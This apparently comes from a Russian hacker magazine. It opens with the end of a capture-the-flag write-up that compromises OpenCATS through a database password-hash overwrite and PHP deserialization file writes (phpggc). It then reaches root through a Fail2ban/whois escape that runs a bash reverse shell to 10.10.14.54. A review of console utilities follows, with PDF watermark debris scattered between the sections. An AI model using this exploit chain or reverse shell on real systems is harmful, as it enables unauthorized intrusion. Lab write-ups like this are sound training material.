Перей­ ­дем к OpenCATS. Это опенсор­ ­сный инстру­ ­мент, который позволя­ ­ет рекрутерам­ работать с данными­ о персонале­ компании­ . Обратим­ ­ся к нему через браузер­ , и нас встретит­ форма­ авториза­ ­ции. На той же странице­ ука ­ зан номер продук­ ­та.

Панель­ авториза­ ции­ OpenCATS

Что делать, если мы знаем­ версию­ какой то софтины­ ? Правиль­ но­ , искать информацию­ об уязвимос­ тях­ в ней. Первая­ же ссылка­ в Google — на опи ­ сание бага с номером CVE.

Поиск­ экспло­ итов­ в Google

Проблема­ в том, что эксплу­ ата­ ция­ этой уязвимос­ ти­ возможна­ , только­ если мы уже авторизо­ ваны­ на сайте­ . Но мы можем получить пароль админис­ тра­ тора­ CMS прямо­ из базы данных­ , подклю­ чить­ ся­ к которой помогут учетные­ данные­ , полученные­ на этапе­ поиска­ информации­ .

mariadb -h 127.0.0.1 -u cats -padm1r3r0fc4ts

use cats_dev;

Подклю­ чение­ к базе данных­ OpenCATS

С помощью команды­ show tables; найдем­ таблицу­ , содержащую­ учетные­ данные­ пользовате­ лей­ .

Таблицы­ в базе данных­ OpenCATS

Нас интересу­ ­ет таблица­ user, а именно­ ее столбцы­ user_name и password.

select user_name,password from user;

Получе­ ние­ логинов и хешей паролей

Скорее­ всего­ , это хеши MD5, но взломать­ их не вышло­ . Тогда­ появилась­ идея заменить хеш в таблице­ своим­ . Это позволит­ установить­ админис­ тра­ тору­ известный­ нам пароль. Но перед этим посмотрим­ на привиле­ гии­ текущего­ пользовате­ ля­ базы данных­ .

show grants for 'cats'@'localhost';

Привиле­ ­гии текущего­ пользовате­ ­ля базы данных­

Мы имеем­ полные­ привиле­ гии­ на базу, поэтому­ можем установить­ свой пароль (я поставил­ ralf_password).

update user set password = '80611e766bf21f75011a73b6dbf91cf9' where

user_name = 'admin';

Изменение­ записи в базе данных­

Изменения­ внесены­ , и мы легко­ авторизу­ емся­ в OpenCATS от имени­ админа­ .

Главная­ страница­ OpenCATS

Теперь­ перейдем­ к замеченной­ ранее уязвимос­ ти­ . В рамках­ обычного­ поль ­ зовательско­ го­ рабочего­ процес­ са­ приложе­ ние­ отправляет­ сериали­ зован­ ные­ данные­ в параметре­ parametersactivity:ActivityDataGrid. На сервере­

эти данные­ десериали­ зуют­ ся­ с помощью функции­ unserialize. В PHPмодуле guzzlehttp мы можем вызвать­ метод destruct() из файла­ FileCookieJar.php, он расположен­ по такому пути:

guzzlehttp/guzzle/src/Cookie/FileCookieJar.php0

В результате­ будет вызван­ метод save() и появится­ возможность­ записать произволь­ ­ные файлы­ в системе­ . Имя файла­ , куда будут записаны­ данные­ , принима­ ­ет тот же метод save().

Для сериали­ ­зации данных­ мы будем использовать­ phpggc. Попробу­ ­ем записать файл test_copy.txt с содержимым­ TEST_TEST в доступный­

для записи каталог /dev/shm (мы нашли­ его на этапе­ сбора­ информации­ ).

./phpggc -u --fast-destruct Guzzle/FW1 /dev/shm/test_copy.txt /tmp/

test.txt0

А теперь отправим­ полученные­ данные­ в параметре­ parametersactivity: ActivityDataGrid.

Страница­ Activities

Запрос­ в Burp Proxy

В итоге­ в каталоге­ /dev/shm появился­ файл test_copy.txt, содержащий­

наши данные­ , но в своем­ формате­ . Также­ отмечаем­ , что файл создан­ от име ­ ни пользовате­ ­ля devel.

Содер­ жимое­ каталога­ /dev/shm

Прямо­ получить контроль­ от имени­ этого­ пользовате­ ля­ не выйдет­ , так как у него нет командной­ оболоч­ ки­ .

Содер­ жимое­ файла­ /etc/passwd

Тогда­ найдем­ все файлы­ и каталоги­ текущего­ пользовате­ ля­ .

find / -group devel 2>/dev/null0

Файлы­ пользовате­ ля­ devel

Больше­ ничего не придумав­ , я решил перейти­ к Fail2ban.

Whois + Fail2ban

Fail2ban — простой­ локальный­ сервис­ , который отслежива­ ­ет log-файлы­ запущенных­ программ­ и после­ несколь­ ­ких неудачных­ попыток авториза­ ­ции блокиру­ ­ет запросы­ с определен­ ­ного IP-адреса­ . Сперва­ посмотрим­ , работает­ ли Fail2ban и на какую службу­ он реагирует­ .

Статус­ сервиса­ Fail2ban

Файл конфигура­ ций­ Fail2ban

Мы видим, что Fail2ban активен­ для службы­ SSH. Я стал искать, как его можно­ использовать­ при пентестах­ , и нашел описание­ уязвимос­ ­ти, которая может дать нам удален­ ­ное выполнение­ кода (RCE).

Суть бага заключа­ ­ется в том, что Fail2ban в случае­ блокиров­ ­ки использует­ Mailutils, чтобы­ отправить­ сообщение­ с информацией­ о заблокиро­ ­ван­ном адресе­ , для чего ему нужно­ выполнить­ команду­ whois. Если передать пос ­ ледователь­ ­ность ~!, то можно­ выполнить­ свою команду­ . Таким образом­ , если у нас получится­ контро­ ­лиро­вать вывод whois, мы можем передать в коман ­ дную оболоч­ ­ку свой реверс шелл!

Среди­ каталогов­ , доступных­ для записи пользовате­ лю­ devel, есть /usr/ local/etc/, куда можно­ поместить­ файл конфигура­ ций­ whois.conf. Через уязвимость­ в OpenCATS запишем наш тестовый­ файл как конфиг­ , а потом для провер­ ки­ выполним­ команду­ whois.

./phpggc -u --fast-destruct Guzzle/FW1 /usr/local/etc/whois.conf /

tmp/test.txt0

Провер­ ка­ работы whois

Конфиг­ был записан и применен­ . Но OpenCATS добавляет­ свои данные­ , поэтому­ whois не может распарсить­ адрес. Эту проблему­ тоже можно­ решить, использовав­ регулярные­ выражения­ , а именно­ операцию­ OR (|) и любой символ­ (.). При этом попробу­ ем­ закрыть­ добавленные­ OpenCATS теги JSON. Таким образом­ , содержимое­ нашего файла­ test.txt будет таким:

}]|. [10.10.14.54]0

Снова­ перепишем­ конфиг­ .

Создание­ конфигура­ ции­ whois

Провер­ ка­ конфигура­ ции­ whois

Теперь­ при выполнении­ команды­ whois сервис­ обратит­ ся­ к службе­ whois на наш сервер­ (порт 43). Затем мы должны­ отдать ему реверс шелл с пос ­ ледователь­ ностью­ ~|. Запишем нагрузку­ в файл и будем выводить в консоль­ при подклю­ чении­ к netcat.

echo -n '~| bash -c "bash -i >& /dev/tcp/10.10.14.54/4321 0>&1" &' >

/tmp/shell.txt0

nc -nvlkp 43 -c "cat /tmp/shell.txt"

Все готово к основной эксплу­ ата­ ции­ : при выполнении­ команды­ whois получим реверс шелл, который будет передан Fail2ban и выполнен­ в консоли­ . Откроем­ листенер­ на порте­ 4321 (rlwrap nc -lpv 4321) и попробу­ ем­ выз ­ вать срабаты­ вание­ Fail2ban, попытавшись­ несколь­ ко­ раз авторизо­ вать­ ся­ по SSH.

Попыт­ ки­ подклю­ чить­ ся­ к SSH

После­ сообщении­ о сбросе­ подклю­ ­чения получим бэкконнект­ на свой лис ­ тенер.

Флаг рута

Машина­ захвачена­ , и у нас есть флаг рута!

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

r

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

w Click

 

BUY

 

o m

ТРЮКИ

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

 

c

 

 

.

 

 

 

 

 

.

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

 

df

-x

 

n

e

 

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

c

 

 

.

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-x ha

 

 

 

 

 

СОБИРАЕМ УТИЛИТЫ, КОТОРЫЕ ОБЛЕГЧАТ ЖИЗНЬ И РАБОТУ

Польский Кот brutsky@glc.ru

Не знаешь­ , чем заняться­ в праздни­ ки­ ? Не пыхтишь­ над гряд ­ кой, подста­ вив­ пятую точку­ солнцу­ ? Не орешь песни­ в пьяном угаре­ ? Не беда! Сейчас­ я тебе расска­ жу­ о замеча ­ тельных­ програм­ мках­ , копание с которыми­ тебя обязатель­ но­ развле­ чет­ . А может быть, что то из этого­ потом будет радовать тебя каждый­ день!

Это уже четвертая­ статья о консоль­ ных­ утилитах­ , которые делают­ нашу жизнь лучше­ . В первой­ мы рассмат­ ривали­ в основном сетевые утилиты­ , во вто ­ рой — дашборды­ и прочие­ украшатель­ ства­ . В третьей­ я сконцен­ три­ ровал­ ся­ на жизни­ в Windows с WSL.

Я думал было заканчивать­ серию, но вы продол­ жаете­ присылать­ мне утилиты­ , которые считаете­ незаслужен­ но­ забытыми­ на (веб-) страницах­ Хакера. Поэтому­ сегодняшняя­ подборка­ будет почти­ полностью­ состоять­ из прис ­ ланных читателями­ инстру­ мен­ тов­ , часть из которых я уже взял себе на воору ­ жение. Думаю, и в твой чемоданчик­ что то найдет­ ся­ . Пошли­ смотреть­ !

РАБОТА С ФАЙЛАМИ

Goful

Goful — это новенький­ двухпанель­ ­ный файловый­ менеджер­ , написанный­

на Go. Он поддержи­ вает­ многие­ полезные­ фичи вроде­ группового­ переиме­ ­ нования­ с помощью регулярок­ и поиска­ . Есть встроенный­ терминал­ и многие­ другие­ полезности­ .

 

 

 

Скриншот­

Goful

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Управля­

ется­

он немного­

непривыч­

но­ ,

но удобно­ :

вместо­

шоткатов­

из двух трех кнопок­ здесь положено­ нажимать всего­ по одной. Например­

:

• пробелом­

можно­ выбрать­

один

или

несколь­

ко­

файлов­

(как клики­

с зажатым Ctrl в графичес­ ­ких средах­ );

\ перебрасыва­ ­ет в корневую­ директорию­ (немного­ неочевид­ ­но, потому что слеш тут обратный, а не прямой­ , как принято­ в никсах­ );

i — посмотреть­ файл в странич­ ­ном просмот­ ­рщи­ке;

b — добавить закладку­ на файл;

f — открыть поиск по файлам­ ( f / — поиск в текущей папке­ );

K — создать­ папку­ ;

d — перейти­ по пути.

Само­ собой, это лишь малая часть команд. Полный­ список­ есть в README репозитория­ .

Установить­ Goful можно­ одним из двух способов­ . Первый­ — просто­ ска ­ чать и запустить­ бинарный­ релиз­ из репозитория­ на GitHub. Для второго­ понадобит­ ­ся установ­ ­ленный на твоей­ машине Go:

go install github.com/anmitsu/goful@latest0

Goful и так выглядит­ неплохо­ , но можно­ его еще и кастомизи­ ровать­ : менять управление­ , цвета­ , интерпре­ татор­ встроенной­ командной­ строки­ , редакторы­ и просмот­ рщи­ ки­ . Конфигура­ цион­ ного­ файла­ нет, вместо­ этого­ предлага­ ется­ править­ main.go, после­ чего переуста­ новить­ командой­ go install.

Nnn

Nnn

Nnn — это один из самых минималис­ ­тичных консоль­ ­ных файловых­ менед ­ жеров. Его главное­ преиму­ ­щес­тво — простота­ и нетребова­ ­тель­ность, хотя последнее­ в мире домашних­ компьюте­ ­ров с 32 Гбайт оператив­ ­ки стало­ неак ­ туально­ .

В Ubuntu ты можешь установить­ nnn прямо­ из репозитория­ :

sudo apt install nnn0

Теперь­ когда­ угодно­ пиши nnn, и можешь лететь по каталогам­ с ветерком­ ! Встроенную­ справку­ в любой момент можно­ открыть, нажав знак вопроса­ .

Ncdu

Ncdu (NCurses Disk Usage) — это прокачан­ ­ная версия­ du, которая показывает­ занятое место­ в красивом­ псевдогра­ ­фичес­ком интерфейсе­ .

С ncdu ты можешь не только­ смотреть­ , сколько­ занимают­ файлы­ в каком то каталоге­ , но и легко­ перемещать­ ­ся между­ ними, а если решишь удалить­ что то ненужное­ , то достаточ­ ­но будет нажать кнопку­ d. Естествен­ ­но,

по случай­ ному­ нажатию программа­ ничего не удалит­ — в нее встроен­ новей ­ ший телепатичес­ кий­ анализа­ тор­ , который проверит­ твои намерения­ , зап ­ росив подтвержде­ ние­ .

Установ­ ­ка проста­ как два рубля­ :

sudo apt install ncdu0

При запуске­ ncdu просканиру­ ет­ текущую папку­ и выдаст результаты­ . Путь для сканиро­ вания­ можно­ указать­ первым­ аргумен­ том­ :

ncdu /0

Утилита­ работает­ с впечат­ ляющей­ скоростью­ , чем немало радует­ .

Diffoscope

Когда­ обычного­ diff мало, может пригодить­ ­ся difoscope. Кроме­ тексто­ ­вых файлов­ , эта штукови­ ­на умеет­ сравнивать­ папки­ , архивы­ , бинарники­ , ISOобразы­ , PDF-документы­ и кучу всего­ еще — поддержи­ ­вает­ся около­ 70 типов файлов­ . Полный­ список­ доступен­ в выводе diffoscope -h.

Difoscope сравнива­ ет­ бинарники­

Установ­ ка­ на Debian и Ubuntu делается­ одной командой­ :

sudo apt install diffoscope0

Правда­ , при такой установ­ ­ке на чистую­ Ubuntu скачалось­ 1124 пакета сум ­ марным объемом­ около­ полутора­ гигабайт, потому что в зависимос­ ­тях есть Python, Java и X-сервер­ . Зачем это консоль­ ­ной утилите­ — неизвес­ ­тно.

Есть версия­ для Docker:

docker run --rm -t -w $(pwd) -v $(pwd):$(pwd):ro registry.salsa.

debian.org/reproducible-builds/diffoscope0

А еще есть версия­ difoscope для браузе­ ра­ — try.difoscope.org (на скриншоте­ именно­ она).

Eget

Eget — это классная­ утилита­ , с помощью которой можно­ устанав­ ливать­ софт из репозитори­ ев­ GitHub, где авторы­ размести­ ли­ релизы с бинарниками­ .

Если­ бы eget можно­ было установить­ с помощью eget, то достаточ­ ­но было бы написать

eget zyedidia/eget0

Если­ же eget у тебя еще нет, придет­ ся­ восполь­ зовать­ ся­ готовым релизом­ или скриптом­ установ­ щиком­ :

curl https://zyedidia.github.io/eget.sh | sh0

СЕТЬ

Wireproxy

Если­ тебе нужно­ использовать­ Wireguard, но по каким то причинам­ не хочется­ поднимать­ полноцен­ ­ный клиент­ , обрати­ внимание­ на wireproxy. Он подклю­ ­ чается­ к пиру по протоко­ ­лу Wireguard, но не создает­ новый сетевой интерфейс, а поднима­ ­ет SOCKS5-прокси­ , который ты можешь указывать­

в своих­ программах­ .

Установ­ ­ка сводит­ ­ся к трем строчкам­ в терминале­ :

git clone https://github.com/octeep/wireproxy0

cd wireproxy0

go build ./cmd/wireproxy0

Если­ же у тебя нет Go — не беда, просто­ скачай­ собранный­ релиз­ . Запуск­ требует­ всего­ одного­ параметра­ :

./wireproxy -c <config file>0

Конфиг­ — стандар­ тный­ для Wireguard, но в него нужно­ добавить две секции­ (коммента­ рии­ оставил­ для ясности):

#TCPServerTunnel is a tunnel listening on wireguard,

#and it forwards any TCP traffic received to the specified target via local network.

#Flow:

#<an app on your wireguard network> --(wireguard)--> 172.16.31.2: 3422 --> localhost:25545

[TCPServerTunnel] ListenPort = 3422

Target = localhost:25545

#SOCKS5 creates a SOCKS5 proxy on your LAN, and all traffic would be routed via wireguard.

[Socks5]

BindAddress = 127.0.0.1:25344

#SOCKS5 authentication parameters, specifying username and password enables

#proxy authentication.

Username = ...

# Avoid using spaces in the password field

Password = ...

Более­ подробно­ про wireproxy читай в репози­ тории­ проекта­ .

Ssh-tools

Ssh-tools — это небольшой­ набор утилит­ для тех, кто много­ работает­ по SSH. Самыми полезными­ из них кажутся­ эти:

ssh-ping — пропин­ ­говать SSH-сервис­ (не машину, а именно­ демон

SSH);

ssh-diff — сравнить­ файлы­ на разных­ машинах;

ssh-facts — немного­ информации­ об удален­ ­ной системе­ ;

ssh-force-password — пропус­ ­тить авториза­ ­цию по ключу­ и залогинить­ ­ ся по паролю (если сервер­ позволя­ ­ет);

ssh-keyinfo — информация­ о ключах­ .

Все утилиты­ из этого­ набора парсят­ ~/.ssh/config, так что можно­ исполь ­ зовать уже настро­ ­енные имена­ хостов­ оттуда­ .

Набор­ есть в репозитори­ ­ях всех популярных­ дистри­ ­бути­вов — можешь просто­ ставить­ пакет ssh-tools.

Nala

Nala — это классный­ интерфейс для APT. Умеет­ все, что может стандар­ тный­ apt, а кроме­ этого­ , поддержи­ вает­ историю­ и качает­ пакеты параллель­ но­ .

Вштатных­ репозитори­ ­ях nala пока нет, но можно­ подклю­ ­чить сторон­ ­ний

иустановить­ оттуда­ :

echo "deb http://deb.volian.org/volian/ scar main" | sudo tee /etc/

apt/sources.list.d/volian-archive-scar-unstable.list0

wget -qO - https://deb.volian.org/volian/scar.key | sudo tee /etc/

apt/trusted.gpg.d/volian-archive-scar-unstable.gpg > /dev/null0

sudo apt install nala0

После­ этого­ достаточ­ но­ вместо­ apt просто­ вызывать nala (nala install nmap, например­ ).

Iptables-tracer

С помощью iptables-tracer можно­ посмотреть­ , проходит­ ли трафик­ через нуж ­ ные нам цепочки­ iptables. Делает­ он это, вставляя­ в каждую­ цепочку­ спе ­ циальные­ правила­ маркеры­ (-j NFLOG), которые будут срабаты­ вать­ при про ­ хождении­ пакета через цепочку­ .

Выглядит­ это так:

0

 

 

 

 

$ iptables-tracer -f "-s 192.0.2.1 -p tcp --dport 443" -t 30s0

 

14:42:00.284882

raw

PREROUTING

0x00000000 IP 192.0.2.1.36028 >

203.0.45.41.443: Flags

[S], seq 3964691400, win 29200, length 0

 

[In:eth0 Out:]0

 

 

 

 

14:42:00.287255

mangle

PREROUTING

0x00008000 IP 192.0.2.1.36028 >

203.0.45.41.443: Flags

[S], seq 3964691400, win 29200, length 0

 

[In:eth0 Out:]0

 

 

 

 

14:42:00.288966

nat

PREROUTING

0x00008000 IP 192.0.2.1.36028 >

203.0.45.41.443: Flags

[S], seq 3964691400, win 29200, length 0

 

[In:eth0 Out:]0

 

 

 

 

14:42:00.290545

mangle

FORWARD

0x00008000 IP 192.0.2.1.36028 >

198.2.100.8.443: Flags

[S], seq 3964691400, win 29200, length 0

 

[In:eth0 Out:eth1]0

 

 

 

14:42:00.292123

filter

FORWARD

0x00008002 IP 192.0.2.1.36028 >

198.2.100.8.443: Flags

[S], seq 3964691400, win 29200, length 0

 

[In:eth0 Out:eth1]0

 

 

 

14:42:00.293164

mangle

POSTROUTING

0x00008002 IP 192.0.2.1.36028 >

198.2.100.8.443: Flags

[S], seq 3964691400, win 29200, length 0

[In:

Out:eth1]0

 

 

 

 

14:42:00.293780

nat

POSTROUTING

0x00008002 IP 192.0.2.1.36028 >

198.2.100.8.443: Flags

[S], seq 3964691400, win 29200, length 0

[In:

Out:eth1]

 

 

 

 

0

 

 

 

 

 

 

 

 

 

Для установ­ ки­ нужен Git и Go. Ставим­ :

git clone https://github.com/x-way/iptables-tracer0

cd ./iptables-tracer/0

go build0

Запус­ каем­ :

./iptables-tracer -f "-s 1.3.5.7 -p tcp --dport 22" -t 90s0

Параметр­ -f позволя­ ет­ фильтро­ вать­ , какой именно­ трафик­ нужно­ отоб ­ ражать, согласно­ синтакси­ су­ iptables, а -t задает­ время­ работы, после­ которого­ трассиров­ ка­ прекратит­ ся­ .

Важно­ помнить­ , что после­ останов­ ки­ трассиров­ ки­ созданные­ в iptables служеб­ ные­ правила­ не удаляют­ ся­ , так что потом их нужно­ удалить­ такой командой­ :

./iptables-tracer -c

А ты знал, что с Nftables трассиров­ ка­ правил­ дос ­ тупна «из коробки­ »? Мы уже писали об этом под ­ робнее в статье «Nftables. Разбира­ ем­ преиму­ ­ щества­ перехода­ с iptables на новый файрвол­ ». Если много­ работаешь­ с файрво­ лом­ — обязатель­ ­ но ознакомь­ ся­ !

Продолжение статьи0

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ТРЮКИ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

 

 

p

df

 

 

 

 

e

 

 

-x

 

 

g

 

 

 

 

 

 

n

 

 

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

m

 

0НАЧАЛО СТАТЬИw Click

to

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

.

 

 

c

 

 

 

.c

 

 

 

 

p

df

 

 

 

e

 

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

СОБИРАЕМ УТИЛИТЫ, КОТОРЫЕ ОБЛЕГЧАТ ЖИЗНЬ И РАБОТУ

ГРАФИКА

Picocrypt

Picocrypt — простая­ , но мощная­ тулза­ для шифрования­ файлов­ . К сожалению­ , поставля­ ется­ только­ с графичес­ ким­ интерфейсом­ , но вряд ли это будет боль ­ шой проблемой­ .

Picocrypt умеет­ не только­ шифровать­ , но и генерить надежные­ пароли

иредактировать­ метаданные­ файлов­ . Если хочется­ , можно­ эти метаданные­ даже полностью­ удалить­ , но идея направить­ потенциаль­ ­ных рассле­ ­дова­телей по ложному­ следу­ выглядит­ более интерес­ ­но.

ВREADME автор расхва­ ­лива­ет свое творение­ как чуть ли не лучшее­ решение для шифрования­ чего угодно­ : тут у нас и открытые­ исходники­ ,

ималенький­ размер­ , и современ­ ­ный алгоритм­ , и даже защита от поврежде­ ­ ния данных­ . Полную­ сравнитель­ ­ную таблицу­ можно­ почитать ниже или в

репозитории­ проекта­ .

Сравнение­ ПО для шифрования­ файлов­ от автора­ Picocrypt

Установ­ ка­ в Windows сводит­ ся­ к скачива­ нию­ собранно­ го­ бинарника­ со стра ­ ницы релизов, а в Linux ставит­ ся­ через Snap:

snap install picocrypt0

Если­ Snap нет, сначала­ нужно­ установить­ его (sudo apt install snapd).

Dockeye

Если­ тебе вдруг потребовал­ ­ся UI для Docker, попробуй­ dockeye. Это гра ­ фический­ клиент­ для управления­ Docker, который выглядит­ почти­ непохоже­ на другие­ подобные­ инстру­ ­мен­ты.

Демо­ из репозитория­

Есть сборки­ для Linux и macOS. Скачать­ их можно­ со страницы­ релизов.

Sysmontask

Если­ ты соскучил­ ся­ по виндовому­ диспетче­ ру­ задач, то с sysmontask ты будешь в Linux как дома!

Где то мы это уже видели

Думаю­ , о том, что он делает­ , расска­ зывать­ не имеет­ смысла­ , так что давай просто­ установим­ и ты сам все проверишь­ :

sudo add-apt-repository ppa:camel-neeraj/sysmontask0

sudo apt install sysmontask0

// Выполнить только на Ubuntu <=20.040

sudo pip3 install -U psutil0

Первый­ запуск автор рекомендует­ проводить­ из консоли­ командой­ sysmontask.

Neofetch

Neofetch

Neofetch — это програм­ мка­ , которая наглядно­ и красиво­ выводит статис­ тику­ о твоем­ компьюте­ ре­ . Она покажет используемый­ дистри­ бутив­ (с большим­

логотипом­ !), версию­ ядра, информацию­ об объеме­ памяти и процес­ соре­ , оболоч­ ку­ , окружение­ рабочего­ стола­ (если оно есть), оконный­ менеджер­ , активную тему оформле­ ния­ и многое­ другое­ .

Neofetch есть в репозитории­ Ubuntu:

sudo apt install neofetch0

Если­ ты тоже пользуешь­ ­ся WSL, можешь поставить­ аналогич­ ­ную программу­ wslfetch, которая поставля­ ­ется в составе­ дистри­ ­бути­вов, собранных­

в Microsoft. Ее вывод выглядит­ чуть по другому­ , и работает­ она заметно­ мед ­ леннее, но не расска­ ­зать о предус­ ­танов­ленном аналоге­ я не могу.

Wslfetch

TTYgames

Самая­ важная­ часть этой статьи — коллекция­ консоль­ ных­ игр. Хотя и выглядит­ это в XXI веке как анахронизм­ , но почему нет? Возможно­ , эти развле­ чения­

даже не заметят на работе. Выход этой статьи был отложен­ как раз потому, что я нашел прекрасный­ тетрис­ (на картинке­ ) и не мог оторвать­ ­ся.

Petris

ДЛЯ СКРИПТОВ

HttpX

HttpX — это многоце­ левой­ инстру­ мент­ для автомати­ зации­ работы с HTTP. С его помощью удобно­ искать HTTP-серверы­ в результатах­ сканиро­ вания­ , собирать отпечат­ ки­ сервисов­ и исследовать­ подсети­ при пентесте­ .

Особен­ ­но удобно­ комбиниро­ ­вать httpX с другими­ инстру­ ­мен­тами.

0

subfinder -d hackerone.com -silent| httpx -title -tech-detect -status-

code

 

 

0

 

 

__

__ __

_ __0

/ /_ / /_/ /_____ | |/ /0

/ __ \/ __/ __/

__ \|

/0

/ / / / /_/ /_/ /_/ /

|0

/_/ /_/\__/\__/

.___/_/|_|0

/_/

v1.1.1

 

0

 

 

projectdiscovery.io0

Use with caution. You are responsible for your actions0

Developers assume no liability and are not responsible for any misuse or damage.0

https://mta-sts.managed.hackerone.com [404] [Page not found · GitHub Pages] [Varnish,GitHub Pages,Ruby on Rails]0 https://mta-sts.hackerone.com [404] [Page not found · GitHub Pages] [Varnish,GitHub Pages,Ruby on Rails]0 https://mta-sts.forwarding.hackerone.com [404] [Page not found · GitHub Pages] [GitHub Pages,Ruby on Rails,Varnish]0

https://docs.hackerone.com [200] [HackerOne Platform Documentation] [Ruby on Rails,jsDelivr,Gatsby,React,webpack,Varnish,GitHub Pages]0 https://support.hackerone.com [301,302,301,200] [HackerOne] [Cloudflare,Ruby on Rails,Ruby]0

https://resources.hackerone.com [301,301,404] [Sorry, no Folders found.] 0

Установить­ программу­ из исходников­ мне не удалось­ из за проблем­ с Go, но eget без труда­ подтянул­ бинар­ ­ный релиз, который, конечно­ , можно­ ска ­ чать и вручную­ .

Флагов­ у программы­ очень много­ , но разбирать­ ­ся с ними я тебе пред ­ лагаю самостоятель­ ­но — они узкоспецифи­ ­чес­кие, и каждый­ из них хорошо описан­ в справке­ .

Xj

Тем, кто пытался­ работать с HTML из shell-скриптов­ , знакома­ боль от попыток парсинга­ с помощью регулярок­ . Для вас существу­ ­ет xj — утилита­ , которая конверти­ ­рует HTML-страницу­ в JSON для дальнейшей­ обработ­ ­ки. Обрабаты­ ­ вать JSON из скриптов­ очень удобно­ с помощью jq:

$ wget -qO- https://stedolan.github.io/jq/ | xj | jq '..|select(.

title?)[][]'

"jq"

Прекрасная­

вещь для простых­

парсеров­

, когда­ по каким то причинам­

не хочется­ программи­

­ровать.

 

 

Topalias

Topalias генерирует­ алиасы­ для команд, которыми­ ты чаще всего­ пользовал­ ­ ся. Утилита­ показывает­ статис­ ­тику, предлага­ ­ет сокращения­ и показывает­ , как их зарегистри­ ­ровать.

На скрине­ выше видна­ очевид­ ная­

проблема­

: утилита­

понятия не имеет­ , что

у некоторых­

предлага­

емых­

ей алиасов­

те же имена­ , что и у установ­ ленных­

в системе­

 

программ­

, в том числе­ системных­

. Например­

, для команды­ cd

pbsbot предложен­

алиас­ cp, после­ примене­

ния­

которого­ ты не сможешь­

копировать­

файлы­ .

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

И еще одна неприят­

ность­

— это битая зависимость­

при установ­ ке­ . Уста ­

навливать­

предлага­

ется­

следующим­

образом­

:

 

 

 

 

 

 

 

 

 

 

pip3 install -U --user topalias0

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Но при попытке­ запуска­

утилита­

незамедлитель­

но­

 

крашнется­

, ругаясь­

на непонятную­

ошибку­

и

не давая даже

посмотреть­

справку­ .

Починить

это можно­ установ­ ­кой более старой­ версии­ пакета click:

pip3 install -U --user click==7.1.20

Только­ после­ этого­ все заработает­ нормаль­ но­ .

ПРОЧЕЕ

Jrnl

Для постоян­ ­ных обитате­ ­лей терминала­ существу­ ­ет jrnl — консоль­ ­ная утилита­ для заметок.

Установ­ ка­ делается­ через pipx, и автор утилиты­ предуп­ режда­ ет­ о воз ­ можных проблемах­ при неправиль­ ной­ установ­ ке­ этого­ пакетного­ менеджера­ . Я ставил­ pipx через APT (хотя автор так делать не рекомендует­ ) и с проб ­ лемами не столкнул­ ся­ , но имей в виду, что они бывают­ .

Предположим­ , что «правиль­ ­ный» pipx у тебя уже есть. Тогда­ установ­ ­ка делается­ в одну команду­ :

pipx install jrnl0

Чтобы­ запустить­ jrnl, либо просто­ передай заметку­ аргумен­ том­ командной­ строки­ , либо запусти­ jrnl и напечатай­ все в самой утилите­ — это удобно­ , если текст заметки­ длинный­ .

Можно­ добавлять­ к заметкам­ заголовки­ , теги, метки­ времени­ и даже зашифровать­ свой журнал­ .

Файл с заметками­ — это простой­ текст, поэтому­ смотреть­ его можно­ самыми разными­ способа­ ­ми. В дополнение­ к ним в программе­ есть ключи­ --short (покажет только­ заголовки­ ) и --export text (выведет весь файл журнала­ ).

Мой маленький­ дневник­

Утилита­ хоть и выглядит­ минималис­ тичной­ , но в реальнос­ ти­ возможнос­ тей­ немало. Их подробное­ описание­ ты найдешь­ на сайте­ разработ­ чика­ .

Уведомления с Android на Linux

Android2Linux Notifcations — это способ­ показать уведом­ ления­ из Android

на настоль­ ­ном Linux с помощью libnotify.

